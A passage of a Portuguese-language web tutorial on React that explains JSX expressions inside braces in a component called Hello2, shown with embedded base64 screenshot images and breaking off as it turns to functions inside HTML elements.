LZyzqJZRh1q+FI4ZtE0VDG85UxtFAklfV0WN6yt9MdyjQff2X+jdgBJa+CdCfL2Uj63U45tKxy0YbD5Qtnsl3EMtSWVYG0LNuGes+2iYx7xxtKhG+HO6dldrs2XEHpJ7JLt5KMe3Joj1DeoqFMl55be/v+rvYrmQ4Ly450+2OZb2raveE8+AgBBM4XIKCcb8YaCCCAAAKfEjCH/rgTkj+1cVZ+WQEzXBk3rzhl4gsop9bhcwQQuJoAAeVqtGwYAQQQQMAnYA7xCmXS9tHxvo3xHgKlAAGlpOAFAk8uQEB58gbk8BFAAIFnEsjs53p4bgX7TOfDsT6SAAHlkVqDY0HgMwIElM/osS4CCCCAwGkBe/hMMeE50O9EdXozLIFAswABpdmHTxF4HgECyvO0FUeKAAIIPKeAN6Cc+5yQ5zx1jvqWAgSUW2qzLwSuKUBAuaYu20YAAQQQULdd0p67EcpbbyzJlrshURqXFiCgXFqU7SFwLwECyr3k2S8CCCCAAAIIIIAAAgg4AgQUh4Q3EEAAAQQQQAABBBBA4F4CBJR7ybNfBBBAAAEEEEAAAQQQcAQIKA4JbyCAAAIIIIAAAggggMC9BAgo95JnvwgggAACCCCAAAIIIOAIEFAcEt5AAAEEEEAAAQQQQACBewkQUO4lz34RQAABBBBAAAEEEEDAESCgOCS8gQACCCCAAAIIIIAAAvcSIKDcS579IoAAAggggAACCCCAgCNAQHFIeAMBBBBAAAEEEEAAAQTuJUBAuZc8+0UAAQQQQAABBBBAAAFHgIDikPAGAggggAACCCCAAAII3EuAgHIvefaLAAIIIIAAAggggAACjgABxSHhDQQQQAABBBBAAAEEELiXAAHlXvLsFwEEEEAAAQQQQAABBBwBAopDwhsIIIAAAggggAACCCBwLwECyr3k2S8CCCCAAAIIIIAAAgg4AgQUh4Q3EEAAAQQQQAABBBBA4F4CBJR7ybNfBBBAAAEEEEAAAQQQcAQIKA4JbyCAAAIIIIAAAggggMC9BAgo95JnvwgggAACCCCAAAIIIOAIEFAcEt5AAAEEEEAAAQQQQACBewkQUO4lz34RQAABBBBAAAEEEEDAESCgOCS8gQACCCCAAAIIIIAAAvcSIKDcS579IoAAAggggAACCCCAgCNAQHFIeAMBBBBAAAEEEEAAAQTuJUBAuZc8+0UAAQQQQAABBBBAAAFHgIDikPAGAggggAACCCCAAAII3Evg/wN4qHgh79WTaAAAAABJRU5ErkJggg==" width="646" /></p><p style="text-align: left;"><br /></p><p>Os componentes, como já vimos, tiram partido do JSX para implementar a interface mas também podem combinar código com as tags html desde que dentro de { }</p><p> Assim podemos alterar o componente Hello2 para </p><p style="text-align: center;"><img alt="" src="data:image/png;base64,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" /></p><p>Como é possível verificar no browser aparece o resultado da operação 2+2.</p><p>Também podemos executar funções dentro dos elementos html. Vamos ver um 